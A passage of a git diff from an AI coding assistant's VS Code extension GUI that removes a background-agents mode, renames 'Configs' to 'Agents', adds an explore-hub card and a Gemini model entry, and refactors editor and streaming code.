Git API for checkout - await repo.checkout(branch); - } catch (checkoutError: any) { - console.log( - "Checkout failed, trying to fetch first...", - checkoutError, - ); - // If checkout fails, fetch and try again - await repo.fetch(); - await repo.checkout(branch); - } - }, - ); - vscode.window.showInformationMessage( - `Switched to branch ${branch}`, - ); - } else { - console.log("Already on target branch, skipping checkout"); - } - } catch (e: any) { - console.error("Failed to switch branch:", e); - vscode.window.showErrorMessage( - `Failed to switch to branch ${branch}: ${e.message || String(e)}`, - ); - return; - } - - // Fetch the agent state - const agentState = - await configHandler.controlPlaneClient.getAgentState(agentSessionId); - - if (!agentState) { - vscode.window.showErrorMessage( - "Failed to fetch agent state from API. The agent may not exist or you may not have permission.", - ); - return; - } - - if (!agentState.session) { - console.error( - "Agent state is missing session field. Full response:", - agentState, - ); - vscode.window.showErrorMessage( - "Agent state returned but missing session data. This may be a backend issue.", - ); - return; - } - - // For MVP: Simply load the session by sending to webview - // The webview will dispatch the newSession action with the session data - this.webviewProtocol.send("loadAgentSession", { - session: agentState.session, - }); - - vscode.window.showInformationMessage( - `Successfully loaded agent workflow: ${agentState.session.title || "Untitled"}`, - ); - } catch (e) { - console.error("Failed to open agent locally:", e); - vscode.window.showErrorMessage( - `Failed to open agent locally: ${e instanceof Error ? e.message : "Unknown error"}`, - ); - } - }); - /** PASS THROUGH FROM WEBVIEW TO CORE AND BACK **/ WEBVIEW_TO_CORE_PASS_THROUGH.forEach((messageType) => { this.onWebview(messageType, async (msg) => { diff --git a/gui/package-lock.json b/gui/package-lock.json index 994a43673ae..1796d1ab7d8 100644 --- a/gui/package-lock.json +++ b/gui/package-lock.json @@ -183,7 +183,6 @@ "system-ca": "^1.0.3", "tar": "^7.4.3", "tree-sitter-wasms": "^0.1.11", - "untildify": "^6.0.0", "uuid": "^9.0.1", "vectordb": "^0.4.20", "web-tree-sitter": "^0.21.0", diff --git a/gui/src/components/AssistantAndOrgListbox/AssistantIcon.tsx b/gui/src/components/AssistantAndOrgListbox/AssistantIcon.tsx index f1b68266e44..19aa0c418e0 100644 --- a/gui/src/components/AssistantAndOrgListbox/AssistantIcon.tsx +++ b/gui/src/components/AssistantAndOrgListbox/AssistantIcon.tsx @@ -1,6 +1,7 @@ -import { ComputerDesktopIcon, SparklesIcon } from "@heroicons/react/24/outline"; +import { SparklesIcon } from "@heroicons/react/24/outline"; import { ProfileDescription } from "core/config/ProfileLifecycleManager"; import { isLocalProfile } from "../../util"; +import { BotIcon } from "../svg/BotIcon"; export interface AssistantIconProps { assistant: ProfileDescription; @@ -12,11 +13,7 @@ export function AssistantIcon({ size = "h-4 w-4", }: AssistantIconProps) { if (isLocalProfile(assistant)) { - return ( - - ); + return ; } else if (assistant.iconUrl) { return ( { e.stopPropagation(); - navigate(CONFIG_ROUTES.CONFIGS); + navigate(CONFIG_ROUTES.AGENTS); }} > diff --git a/gui/src/components/AssistantAndOrgListbox/AssistantOptions.tsx b/gui/src/components/AssistantAndOrgListbox/AssistantOptions.tsx index 63fb604e240..a8baff97164 100644 --- a/gui/src/components/AssistantAndOrgListbox/AssistantOptions.tsx +++ b/gui/src/components/AssistantAndOrgListbox/AssistantOptions.tsx @@ -16,7 +16,7 @@ export function AssistantOptions({
{profiles?.length === 0 ? (
- No config found + No agents found
) : ( profiles?.map((profile, idx) => ( diff --git a/gui/src/components/AssistantAndOrgListbox/SelectedAssistantButton.tsx b/gui/src/components/AssistantAndOrgListbox/SelectedAssistantButton.tsx index 0344abc713a..b842cda770f 100644 --- a/gui/src/components/AssistantAndOrgListbox/SelectedAssistantButton.tsx +++ b/gui/src/components/AssistantAndOrgListbox/SelectedAssistantButton.tsx @@ -34,7 +34,7 @@ export function SelectedAssistantButton({ >
{selectedProfile === null ? ( - "Set up config file" + "Create your first agent" ) : configLoading ? ( ) : ( <> - {selectedProfile.iconUrl && ( - - )} + diff --git a/gui/src/components/AssistantAndOrgListbox/index.tsx b/gui/src/components/AssistantAndOrgListbox/index.tsx index cf767c6c3fa..4bc002c2e3a 100644 --- a/gui/src/components/AssistantAndOrgListbox/index.tsx +++ b/gui/src/components/AssistantAndOrgListbox/index.tsx @@ -80,8 +80,8 @@ export function AssistantAndOrgListbox({ close(); } - function onConfigsConfig() { - navigate(CONFIG_ROUTES.CONFIGS); + function onAgentsConfig() { + navigate(CONFIG_ROUTES.AGENTS); close(); } @@ -155,7 +155,7 @@ export function AssistantAndOrgListbox({ >
- Configs + Agents
-
-
-
- {formatRelativeTime(agent.createdAt)} -
-
- ); - })} - {totalCount > agents.length && ( -
- -
- )} -
- - ); -} - -function AgentStatusBadge({ status }: { status: string }) { - const statusColors: Record = { - running: "border-success text-success", - pending: "border-warning text-warning", - creating: "border-info text-info", - failure: "border-error text-error", - suspended: "border-description text-description", - }; - - const color = statusColors[status] || "border-description text-description"; - - return ( - - {status} - - ); -} - -function formatRelativeTime(dateString: string): string { - try { - const date = new Date(dateString); - const timestamp = date.getTime(); - - // Guard against invalid dates (NaN) - if (isNaN(timestamp)) { - return dateString; - } - - const now = new Date(); - const diffMs = now.getTime() - timestamp; - const diffMins = Math.floor(diffMs / 60000); - const diffHours = Math.floor(diffMs / 3600000); - const diffDays = Math.floor(diffMs / 86400000); - - if (diffMins < 1) { - return "just now"; - } else if (diffMins < 60) { - return `${diffMins}m ago`; - } else if (diffHours < 24) { - return `${diffHours}h ago`; - } else { - return `${diffDays}d ago`; - } - } catch { - return dateString; - } -} diff --git a/gui/src/components/BackgroundMode/BackgroundModeView.tsx b/gui/src/components/BackgroundMode/BackgroundModeView.tsx deleted file mode 100644 index b721d28c3e7..00000000000 --- a/gui/src/components/BackgroundMode/BackgroundModeView.tsx +++ /dev/null @@ -1,154 +0,0 @@ -import { - ArrowPathIcon, - ExclamationTriangleIcon, - RocketLaunchIcon, -} from "@heroicons/react/24/outline"; -import { useCallback, useContext, useEffect, useState } from "react"; -import { useAuth } from "../../context/Auth"; -import { IdeMessengerContext } from "../../context/IdeMessenger"; -import { useAppSelector } from "../../redux/hooks"; -import { selectCurrentOrg } from "../../redux/slices/profilesSlice"; -import { AgentsList } from "./AgentsList"; - -interface BackgroundModeViewProps { - isCreatingAgent?: boolean; -} - -export function BackgroundModeView({ - isCreatingAgent = false, -}: BackgroundModeViewProps) { - const { session, login } = useAuth(); - const ideMessenger = useContext(IdeMessengerContext); - const currentOrg = useAppSelector(selectCurrentOrg); - const [isLoggingIn, setIsLoggingIn] = useState(false); - const [showGitHubSetup, setShowGitHubSetup] = useState(false); - const [checkingGitHub, setCheckingGitHub] = useState(true); - - const handleSignIn = useCallback(async () => { - setIsLoggingIn(true); - try { - await login(false); - } catch (error) { - console.error("Login failed:", error); - } finally { - setIsLoggingIn(false); - } - }, [login]); - - const handleOpenGitHubSettings = useCallback(() => { - // Open the hub settings page for GitHub integration - ideMessenger.post("controlPlane/openUrl", { - path: "settings/integrations/github", - orgSlug: currentOrg?.slug, - }); - }, [ideMessenger, currentOrg]); - - // Check if user has GitHub installations when signed in - useEffect(() => { - async function checkGitHubAuth() { - if (!session) { - setCheckingGitHub(false); - return; - } - - try { - setCheckingGitHub(true); - // Try to list agents - if this fails with GitHub token error, - // we know GitHub isn't connected - const organizationId = - currentOrg?.id !== "personal" ? currentOrg?.id : undefined; - const result = await ideMessenger.request("listBackgroundAgents", { - organizationId, - }); - - // Check for error response - if ("error" in result) { - // Check if error is related to GitHub token - if ( - result.error?.includes("GitHub token") || - result.error?.includes("GitHub App") - ) { - setShowGitHubSetup(true); - } - } else { - // If we got here without error, GitHub is connected - setShowGitHubSetup(false); - } - } catch (error: any) { - // Check if error is related to GitHub token - if ( - error?.message?.includes("GitHub token") || - error?.message?.includes("GitHub App") - ) { - setShowGitHubSetup(true); - } - } finally { - setCheckingGitHub(false); - } - } - - void checkGitHubAuth(); - }, [session, ideMessenger, currentOrg]); - - if (!session) { - return ( -
- -
-

Background Agents

-

- Trigger long-running background agents that work on your codebase - autonomously. Sign in to Continue to get started. -

- -
-
- ); - } - - return ( -
- {!checkingGitHub && showGitHubSetup && ( -
-
- -
-

- Connect GitHub -

-

- Background agents need access to your GitHub repositories. - Connect your GitHub account to get started. -

- -
-
-
- )} -
-
- Submit a task above to run a background agent. Your task will appear - below in ~30 seconds once the container starts. -
- {isCreatingAgent && ( -
- - Creating task... -
- )} -
- -
- ); -} diff --git a/gui/src/components/ExploreHubCard/index.tsx b/gui/src/components/ExploreHubCard/index.tsx new file mode 100644 index 00000000000..07a9e291990 --- /dev/null +++ b/gui/src/components/ExploreHubCard/index.tsx @@ -0,0 +1,63 @@ +import { ChevronRightIcon } from "@heroicons/react/24/outline"; +import { useContext } from "react"; +import { Button, ButtonSubtext } from ".."; +import { IdeMessengerContext } from "../../context/IdeMessenger"; +import { useAppDispatch, useAppSelector } from "../../redux/hooks"; +import { setIsExploreDialogOpen } from "../../redux/slices/uiSlice"; +import { LocalStorageKey, setLocalStorage } from "../../util/localStorage"; +import { ReusableCard } from "../ReusableCard"; + +export function ExploreHubCard() { + const dispatch = useAppDispatch(); + const isOpen = useAppSelector((state) => state.ui.isExploreDialogOpen); + const ideMessenger = useContext(IdeMessengerContext); + + if (!isOpen) return null; + + return ( + { + setLocalStorage(LocalStorageKey.IsExploreDialogOpen, false); + setLocalStorage(LocalStorageKey.HasDismissedExploreDialog, true); + return dispatch(setIsExploreDialogOpen(false)); + }} + > +
+
+

Create Your Own Agent

+ +

+ Discover and remix popular agents, or create your own from scratch +

+
+ + + + { + ideMessenger.request("controlPlane/openUrl", { + path: "/new?type=assistant", + orgSlug: undefined, + }); + }} + > +
+ Or, create your own agent from scratch + +
+
+
+
+ ); +} diff --git a/gui/src/components/ModeSelect/ModeIcon.tsx b/gui/src/components/ModeSelect/ModeIcon.tsx index 074185886a2..92dfc1723f5 100644 --- a/gui/src/components/ModeSelect/ModeIcon.tsx +++ b/gui/src/components/ModeSelect/ModeIcon.tsx @@ -1,6 +1,5 @@ import { ChatBubbleLeftIcon, - RocketLaunchIcon, SparklesIcon, SwatchIcon, } from "@heroicons/react/24/outline"; @@ -22,7 +21,5 @@ export function ModeIcon({ return ; case "chat": return ; - case "background": - return ; } } diff --git a/gui/src/components/ModeSelect/ModeSelect.tsx b/gui/src/components/ModeSelect/ModeSelect.tsx index 4a9c2616aa1..88a5490127c 100644 --- a/gui/src/components/ModeSelect/ModeSelect.tsx +++ b/gui/src/components/ModeSelect/ModeSelect.tsx @@ -8,7 +8,6 @@ import { MessageModes } from "core"; import { isRecommendedAgentModel } from "core/llm/toolSupport"; import { capitalize } from "lodash"; import { useCallback, useEffect, useMemo } from "react"; -import { useAuth } from "../../context/Auth"; import { useAppDispatch, useAppSelector } from "../../redux/hooks"; import { selectSelectedChatModel } from "../../redux/slices/configSlice"; import { setMode } from "../../redux/slices/sessionSlice"; @@ -22,7 +21,6 @@ export function ModeSelect() { const dispatch = useAppDispatch(); const mode = useAppSelector((store) => store.session.mode); const selectedModel = useAppSelector(selectSelectedChatModel); - const { selectedProfile } = useAuth(); const isGoodAtAgentMode = useMemo(() => { if (!selectedModel) { @@ -31,10 +29,6 @@ export function ModeSelect() { return isRecommendedAgentModel(selectedModel.model); }, [selectedModel]); - const isLocalAgent = useMemo(() => { - return selectedProfile?.profileType === "local"; - }, [selectedProfile]); - const { mainEditor } = useMainEditor(); const metaKeyLabel = useMemo(() => { return getMetaKeyLabel(); @@ -45,9 +39,6 @@ export function ModeSelect() { dispatch(setMode("plan")); } else if (mode === "plan") { dispatch(setMode("agent")); - } else if (mode === "agent") { - // Skip background mode if local agent is selected - dispatch(setMode(isLocalAgent ? "chat" : "background")); } else { dispatch(setMode("chat")); } @@ -55,7 +46,7 @@ export function ModeSelect() { if (!document.activeElement?.classList?.contains("ProseMirror")) { mainEditor?.commands.focus(); } - }, [mode, mainEditor, isLocalAgent]); + }, [mode, mainEditor]); const selectMode = useCallback( (newMode: MessageModes) => { @@ -82,13 +73,6 @@ export function ModeSelect() { return () => document.removeEventListener("keydown", handleKeyDown); }, [cycleMode]); - // Auto-switch from background mode when local agent is selected - useEffect(() => { - if (mode === "background" && isLocalAgent) { - dispatch(setMode("agent")); - } - }, [mode, isLocalAgent, dispatch]); - const notGreatAtAgent = ( <> - {mode === "chat" - ? "Chat" - : mode === "agent" - ? "Agent" - : mode === "background" - ? "Background" - : "Plan"} + {mode === "chat" ? "Chat" : mode === "agent" ? "Agent" : "Plan"} - -
- - Background - - - -
- {isLocalAgent && ( - - )} - -
-
{`${metaKeyLabel} . for next mode`}
diff --git a/gui/src/components/config/FatalErrorNotice.tsx b/gui/src/components/config/FatalErrorNotice.tsx index b7e0b76bfc1..4d20aba1cfa 100644 --- a/gui/src/components/config/FatalErrorNotice.tsx +++ b/gui/src/components/config/FatalErrorNotice.tsx @@ -19,8 +19,9 @@ export const FatalErrorIndicator = () => { const configLoading = useAppSelector((state) => state.config.loading); const showConfigPage = () => { - navigate(CONFIG_ROUTES.CONFIGS); + navigate(CONFIG_ROUTES.AGENTS); }; + // const onAgentsPage = location. const currentPath = `${location.pathname}${location.search}`; const { selectedProfile } = useAuth(); @@ -32,7 +33,7 @@ export const FatalErrorIndicator = () => { const displayName = selectedProfile ? (selectedProfile.title ?? `${selectedProfile.fullSlug?.ownerSlug}/${selectedProfile.fullSlug?.packageSlug}`) - : "config"; + : "agent"; return ( @@ -64,7 +65,7 @@ export const FatalErrorIndicator = () => { Reload )} - {currentPath !== CONFIG_ROUTES.CONFIGS && ( + {currentPath !== CONFIG_ROUTES.AGENTS && (
View
diff --git a/gui/src/components/mainInput/Lump/LumpToolbar/BlockSettingsTopToolbar.tsx b/gui/src/components/mainInput/Lump/LumpToolbar/BlockSettingsTopToolbar.tsx index 2f022ea5a52..3f5d66d88bf 100644 --- a/gui/src/components/mainInput/Lump/LumpToolbar/BlockSettingsTopToolbar.tsx +++ b/gui/src/components/mainInput/Lump/LumpToolbar/BlockSettingsTopToolbar.tsx @@ -81,11 +81,11 @@ export function BlockSettingsTopToolbar() {
navigate(CONFIG_ROUTES.CONFIGS)} + onClick={() => navigate(CONFIG_ROUTES.AGENTS)} onKeyDown={(e) => { if (e.key === "Enter" || e.key === " ") { e.preventDefault(); - navigate(CONFIG_ROUTES.CONFIGS); + navigate(CONFIG_ROUTES.AGENTS); } }} data-testid="block-settings-toolbar-icon-error" @@ -135,7 +135,7 @@ export function BlockSettingsTopToolbar() { )}
- +
diff --git a/gui/src/components/mainInput/TipTapEditor/TipTapEditor.tsx b/gui/src/components/mainInput/TipTapEditor/TipTapEditor.tsx index c19ae0af242..87c8384936d 100644 --- a/gui/src/components/mainInput/TipTapEditor/TipTapEditor.tsx +++ b/gui/src/components/mainInput/TipTapEditor/TipTapEditor.tsx @@ -57,7 +57,7 @@ function TipTapEditorInner(props: TipTapEditorProps) { const historyLength = useAppSelector((store) => store.session.history.length); const isInEdit = useAppSelector((store) => store.session.isInEdit); - const { editor, onEnter } = createEditorConfig({ + const { editor, onEnterRef } = createEditorConfig({ props, ideMessenger, dispatch, @@ -68,16 +68,9 @@ function TipTapEditorInner(props: TipTapEditorProps) { if (props.isMainInput && editor) { mainEditorContext.setMainEditor(editor); mainEditorContext.setInputId(props.inputId); - mainEditorContext.onEnterRef.current = onEnter; + mainEditorContext.onEnterRef.current = onEnterRef.current; } - }, [ - editor, - props.isMainInput, - props.inputId, - mainEditorContext, - onEnter, - isStreaming, - ]); + }, [editor, props.isMainInput, props.inputId, mainEditorContext, onEnterRef]); const [shouldHideToolbar, setShouldHideToolbar] = useState(true); @@ -279,7 +272,7 @@ function TipTapEditorInner(props: TipTapEditorProps) { activeKey={activeKey} hidden={shouldHideToolbar && !props.isMainInput} onAddContextItem={() => insertCharacterWithWhitespace("@")} - onEnter={onEnter} + onEnter={onEnterRef.current} onImageFileSelected={(file) => { void handleImageFile(ideMessenger, file).then((result) => { if (!editor) { diff --git a/gui/src/components/mainInput/TipTapEditor/utils/editorConfig.ts b/gui/src/components/mainInput/TipTapEditor/utils/editorConfig.ts index 31bed572320..20ad8ba5179 100644 --- a/gui/src/components/mainInput/TipTapEditor/utils/editorConfig.ts +++ b/gui/src/components/mainInput/TipTapEditor/utils/editorConfig.ts @@ -200,7 +200,7 @@ export function createEditorConfig(options: { return false; } - onEnter({ + onEnterRef.current({ useCodebase: false, noContext: !useActiveFile, }); @@ -210,7 +210,7 @@ export function createEditorConfig(options: { "Mod-Enter": () => { posthog.capture("gui_use_active_file_enter"); - onEnter({ + onEnterRef.current({ useCodebase: false, noContext: !!useActiveFile, }); @@ -220,7 +220,7 @@ export function createEditorConfig(options: { "Alt-Enter": () => { posthog.capture("gui_use_active_file_enter"); - onEnter({ + onEnterRef.current({ useCodebase: false, noContext: !!useActiveFile, }); @@ -346,27 +346,30 @@ export function createEditorConfig(options: { editable: !isStreaming || props.isMainInput, }); - const onEnter = (modifiers: InputModifiers) => { - if (!editor) { - return; - } - if (isStreaming || (codeToEdit.length === 0 && isInEdit)) { - return; - } + const onEnterRef = useUpdatingRef( + (modifiers: InputModifiers) => { + if (!editor) { + return; + } + if (isStreaming || (codeToEdit.length === 0 && isInEdit)) { + return; + } - const json = editor.getJSON(); + const json = editor.getJSON(); - // Don't do anything if input box doesn't have valid content - if (!hasValidEditorContent(json)) { - return; - } + // Don't do anything if input box doesn't have valid content + if (!hasValidEditorContent(json)) { + return; + } - if (props.isMainInput) { - addRef.current(json); - } + if (props.isMainInput) { + addRef.current(json); + } - props.onEnter(json, modifiers, editor); - }; + props.onEnter(json, modifiers, editor); + }, + [props.onEnter, editor, props.isMainInput, codeToEdit, isInEdit], + ); - return { editor, onEnter }; + return { editor, onEnterRef }; } diff --git a/gui/src/context/IdeMessenger.tsx b/gui/src/context/IdeMessenger.tsx index ab028a1390e..e30f39ccf09 100644 --- a/gui/src/context/IdeMessenger.tsx +++ b/gui/src/context/IdeMessenger.tsx @@ -220,7 +220,7 @@ export class IdeMessenger implements IIdeMessenger { try { while (!done) { if (error) { - throw new Error(error); + throw error; } if (buffer.length > index) { const chunks = buffer.slice(index); diff --git a/gui/src/context/MockIdeMessenger.ts b/gui/src/context/MockIdeMessenger.ts index e7f78252dc5..e3ab3fb58dc 100644 --- a/gui/src/context/MockIdeMessenger.ts +++ b/gui/src/context/MockIdeMessenger.ts @@ -55,37 +55,14 @@ const DEFAULT_MOCK_CORE_RESPONSES: MockResponses = { }, }, "config/getSerializedProfileInfo": { - organizations: [ - { - id: "personal", - profiles: [ - { - title: "Local Agent", - id: "local", - errors: [], - profileType: "local", - uri: "", - iconUrl: "", - fullSlug: { - ownerSlug: "", - packageSlug: "", - versionSlug: "", - }, - }, - ], - slug: "", - selectedProfileId: "local", - name: "Personal", - iconUrl: "", - }, - ], - profileId: "local", + organizations: [], + profileId: "test-profile", result: { config: undefined, errors: [], configLoadInterrupted: false, }, - selectedOrgId: "personal", + selectedOrgId: "local", }, "chatDescriber/describe": "Session summary", applyToFile: undefined, @@ -124,7 +101,6 @@ const DEFAULT_MOCK_CORE_RESPONSES: MockResponses = { }, }, ], - listBackgroundAgents: { agents: [], totalCount: 0 }, }; const DEFAULT_MOCK_CORE_RESPONSE_HANDLERS: MockResponseHandlers = { diff --git a/gui/src/hooks/ParallelListeners.tsx b/gui/src/hooks/ParallelListeners.tsx index 172ab5f9d1f..3b7d4557d7a 100644 --- a/gui/src/hooks/ParallelListeners.tsx +++ b/gui/src/hooks/ParallelListeners.tsx @@ -14,10 +14,8 @@ import { } from "../redux/slices/profilesSlice"; import { addContextItemsAtIndex, - newSession, setHasReasoningEnabled, setIsSessionMetadataLoading, - setMode, } from "../redux/slices/sessionSlice"; import { setTTSActive } from "../redux/slices/uiSlice"; @@ -217,11 +215,6 @@ function ParallelListeners() { void dispatch(cancelStream()); }); - useWebviewListener("loadAgentSession", async (data) => { - dispatch(newSession(data.session)); - dispatch(setMode("agent")); - }); - useWebviewListener("setTTSActive", async (status) => { dispatch(setTTSActive(status)); }); diff --git a/gui/src/pages/AddNewModel/configs/models.ts b/gui/src/pages/AddNewModel/configs/models.ts index b470389e43e..aaa8092f749 100644 --- a/gui/src/pages/AddNewModel/configs/models.ts +++ b/gui/src/pages/AddNewModel/configs/models.ts @@ -898,7 +898,20 @@ export const models: { [key: string]: ModelPackage } = { providerOptions: ["gemini"], isOpenSource: false, }, - + gemini25ProExp: { + title: "Gemini 2.5 Pro Experimental", + description: + "Experimental version of Gemini 2.5 Pro with enhanced capabilities and larger output limits.", + params: { + title: "Gemini 2.5 Pro Experimental", + model: "gemini-2.5-pro-exp-03-25", + contextLength: 1_048_576, + apiKey: "", + }, + icon: "gemini.png", + providerOptions: ["gemini"], + isOpenSource: false, + }, gemini25Pro: { title: "Gemini 2.5 Pro", description: diff --git a/gui/src/pages/config/configTabs.tsx b/gui/src/pages/config/configTabs.tsx index b4687f1e33c..3739d6de955 100644 --- a/gui/src/pages/config/configTabs.tsx +++ b/gui/src/pages/config/configTabs.tsx @@ -4,13 +4,13 @@ import { CircleStackIcon, Cog6ToothIcon, CubeIcon, - DocumentIcon, PencilIcon, QuestionMarkCircleIcon, WrenchScrewdriverIcon, } from "@heroicons/react/24/outline"; +import { BotIcon } from "../../components/svg/BotIcon"; import { ConfigSection } from "./components/ConfigSection"; -import { ConfigsSection } from "./sections/ConfigsSection"; +import { AgentsSection } from "./sections/AgentsSection"; import { HelpSection } from "./sections/HelpSection"; import { IndexingSettingsSection } from "./sections/IndexingSettingsSection"; import { ModelsSection } from "./sections/ModelsSection"; @@ -89,14 +89,16 @@ export const topTabSections: TabSection[] = [ showTopDivider: true, tabs: [ { - id: "configs", - label: "Configs", + id: "agents", + label: "Agents", component: ( - + ), - icon: , + icon: ( + + ), }, { id: "organizations", diff --git a/gui/src/pages/config/features/indexing/IndexingProgressSubtext.tsx b/gui/src/pages/config/features/indexing/IndexingProgressSubtext.tsx index 9d8d1664332..ce973d21ada 100644 --- a/gui/src/pages/config/features/indexing/IndexingProgressSubtext.tsx +++ b/gui/src/pages/config/features/indexing/IndexingProgressSubtext.tsx @@ -15,7 +15,7 @@ const STATUS_TO_SUBTITLE_TEXT: Record< indexing: "Click to pause", paused: "Click to resume", failed: "Click to retry", - disabled: "Click to open configuration", + disabled: "Click to open agent configuration", cancelled: "Click to restart", }; diff --git a/gui/src/pages/config/sections/ConfigsSection.tsx b/gui/src/pages/config/sections/AgentsSection.tsx similarity index 66% rename from gui/src/pages/config/sections/ConfigsSection.tsx rename to gui/src/pages/config/sections/AgentsSection.tsx index b7a6eaad891..c1a2640e96b 100644 --- a/gui/src/pages/config/sections/ConfigsSection.tsx +++ b/gui/src/pages/config/sections/AgentsSection.tsx @@ -8,12 +8,12 @@ import { IdeMessengerContext } from "../../../context/IdeMessenger"; import { useAppSelector } from "../../../redux/hooks"; import { ConfigHeader } from "../components/ConfigHeader"; -export function ConfigsSection() { +export function AgentsSection() { const { profiles, selectedProfile } = useAuth(); const ideMessenger = useContext(IdeMessengerContext); const configError = useAppSelector((state) => state.config.configError); - function handleAddConfig() { + function handleAddAgent() { void ideMessenger.request("config/newAssistantFile", undefined); } @@ -24,9 +24,9 @@ export function ConfigsSection() { return ( <> @@ -34,25 +34,16 @@ export function ConfigsSection() { profiles.map((profile, index) => { const isSelected = profile.id === selectedProfile?.id; const errors = isSelected ? configError : profile.errors; - const hasFatalErrors = - errors && errors.some((error) => error.fatal); - const hasErrors = errors && errors.length > 0; return (
-
+

0 ? "text-error" : ""}`} > {profile.title}

@@ -60,20 +51,8 @@ export function ConfigsSection() {
{errors.map((error, errorIndex) => (
{ - if (error.uri) { - e.stopPropagation(); - ideMessenger.post("openFile", { - path: error.uri, - }); - } - }} key={errorIndex} - className={`${ - error.fatal - ? "text-error bg-error/10" - : "bg-yellow-500/10 text-yellow-500" - } rounded border border-solid border-transparent px-2 py-1 text-xs ${error.uri ? "cursor-pointer " + (error.fatal ? "hover:border-error" : "hover:border-yellow-500") : ""}`} + className="text-error bg-error/10 rounded py-1 pr-2 text-xs" > {error.message}
@@ -82,7 +61,7 @@ export function ConfigsSection() { )}
- +
{!hasDismissedExploreDialog && } - {mode === "background" ? ( - - ) : ( - history.length === 0 && ( - - ) + {history.length === 0 && ( + )}
diff --git a/gui/src/pages/gui/EmptyChatBody.tsx b/gui/src/pages/gui/EmptyChatBody.tsx index a2bfe39cc3f..54185f597b4 100644 --- a/gui/src/pages/gui/EmptyChatBody.tsx +++ b/gui/src/pages/gui/EmptyChatBody.tsx @@ -1,4 +1,5 @@ import { ConversationStarterCards } from "../../components/ConversationStarters"; +import { ExploreHubCard } from "../../components/ExploreHubCard"; import { OnboardingCard } from "../../components/OnboardingCard"; export interface EmptyChatBodyProps { @@ -16,6 +17,7 @@ export function EmptyChatBody({ showOnboardingCard }: EmptyChatBodyProps) { return (
+
); diff --git a/gui/src/redux/slices/sessionSlice.ts b/gui/src/redux/slices/sessionSlice.ts index d4ebe48686d..1292bda6974 100644 --- a/gui/src/redux/slices/sessionSlice.ts +++ b/gui/src/redux/slices/sessionSlice.ts @@ -881,7 +881,6 @@ export const sessionSlice = createSlice({ state, action: PayloadAction<{ toolCallId: string; - output?: ContextItem[]; // optional for convenience }>, ) => { const toolCallState = findToolCallById( @@ -890,9 +889,6 @@ export const sessionSlice = createSlice({ ); if (toolCallState) { toolCallState.status = "errored"; - if (action.payload.output) { - toolCallState.output = action.payload.output; - } } }, acceptToolCall: ( diff --git a/gui/src/redux/thunks/callToolById.ts b/gui/src/redux/thunks/callToolById.ts index d0da3465fca..9c9689b87aa 100644 --- a/gui/src/redux/thunks/callToolById.ts +++ b/gui/src/redux/thunks/callToolById.ts @@ -94,7 +94,7 @@ export const callToolById = createAsyncThunk< output = result.content.contextItems; error = result.content.errorMessage ? new ContinueError( - result.content.errorReason || ContinueErrorReason.Unspecified, + ContinueErrorReason.Unspecified, result.content.errorMessage, ) : undefined; diff --git a/gui/src/redux/thunks/evaluateToolPolicies.ts b/gui/src/redux/thunks/evaluateToolPolicies.ts index af02ce12814..37c009210a2 100644 --- a/gui/src/redux/thunks/evaluateToolPolicies.ts +++ b/gui/src/redux/thunks/evaluateToolPolicies.ts @@ -38,12 +38,14 @@ async function evaluateToolPolicy( )?.defaultToolPolicy ?? DEFAULT_TOOL_SETTING; + // Use already parsed arguments + const parsedArgs = toolCallState.parsedArgs || {}; + const toolName = toolCallState.toolCall.function.name; const result = await ideMessenger.request("tools/evaluatePolicy", { toolName, basePolicy, - parsedArgs: toolCallState.parsedArgs, - processedArgs: toolCallState.processedArgs, + args: parsedArgs, }); // Evaluate the policy dynamically diff --git a/gui/src/redux/thunks/streamNormalInput.ts b/gui/src/redux/thunks/streamNormalInput.ts index 226146e072a..5497d9b6f6b 100644 --- a/gui/src/redux/thunks/streamNormalInput.ts +++ b/gui/src/redux/thunks/streamNormalInput.ts @@ -7,7 +7,6 @@ import { selectSelectedChatModel } from "../slices/configSlice"; import { abortStream, addPromptCompletionPair, - errorToolCall, setActive, setAppliedRulesAtIndex, setContextPercentage, @@ -24,7 +23,6 @@ import { modelSupportsNativeTools } from "core/llm/toolSupport"; import { addSystemMessageToolsToSystemMessage } from "core/tools/systemMessageTools/buildToolsSystemMessage"; import { interceptSystemToolCalls } from "core/tools/systemMessageTools/interceptSystemToolCalls"; import { SystemMessageToolCodeblocksFramework } from "core/tools/systemMessageTools/toolCodeblocks"; -import posthog from "posthog-js"; import { selectCurrentToolCalls, selectPendingToolCalls, @@ -179,111 +177,69 @@ export const streamNormalInput = createAsyncThunk< dispatch(setIsPruned(didPrune)); dispatch(setContextPercentage(contextPercentage)); - const start = Date.now(); + // Send request and stream response const streamAborter = state.session.streamAborter; - try { - let gen = extra.ideMessenger.llmStreamChat( - { - completionOptions, - title: selectedChatModel.title, - messages: compiledChatMessages, - legacySlashCommandData, - messageOptions: { precompiled: true }, - }, - streamAborter.signal, - ); - if (systemToolsFramework && activeTools.length > 0) { - gen = interceptSystemToolCalls( - gen, - streamAborter, - systemToolsFramework, - ); - } - - let next = await gen.next(); - while (!next.done) { - if (!getState().session.isStreaming) { - dispatch(abortStream()); - break; - } + let gen = extra.ideMessenger.llmStreamChat( + { + completionOptions, + title: selectedChatModel.title, + messages: compiledChatMessages, + legacySlashCommandData, + messageOptions: { precompiled: true }, + }, + streamAborter.signal, + ); + if (systemToolsFramework && activeTools.length > 0) { + gen = interceptSystemToolCalls(gen, streamAborter, systemToolsFramework); + } - dispatch(streamUpdate(next.value)); - next = await gen.next(); + let next = await gen.next(); + while (!next.done) { + if (!getState().session.isStreaming) { + dispatch(abortStream()); + break; } - // Attach prompt log and end thinking for reasoning models - if (next.done && next.value) { - dispatch(addPromptCompletionPair([next.value])); + dispatch(streamUpdate(next.value)); + next = await gen.next(); + } - try { - extra.ideMessenger.post("devdata/log", { - name: "chatInteraction", - data: { - prompt: next.value.prompt, - completion: next.value.completion, - modelProvider: selectedChatModel.underlyingProviderName, - modelName: selectedChatModel.title, - modelTitle: selectedChatModel.title, - sessionId: state.session.id, - ...(!!activeTools.length && { - tools: activeTools.map((tool) => tool.function.name), - }), - ...(appliedRules.length > 0 && { - rules: appliedRules.map((rule) => ({ - id: getRuleId(rule), - rule: rule.rule, - slug: rule.slug, - })), - }), - }, - }); - } catch (e) { - console.error("Failed to send dev data interaction log", e); - } - } - } catch (e) { - const toolCallsToCancel = selectCurrentToolCalls(getState()); - posthog.capture("stream_premature_close_error", { - duration: (Date.now() - start) / 1000, - model: selectedChatModel.model, - provider: selectedChatModel.underlyingProviderName, - context: legacySlashCommandData ? "slash_command" : "regular_chat", - ...(legacySlashCommandData && { - command: legacySlashCommandData.command.name, - }), - }); - if ( - toolCallsToCancel.length > 0 && - e instanceof Error && - 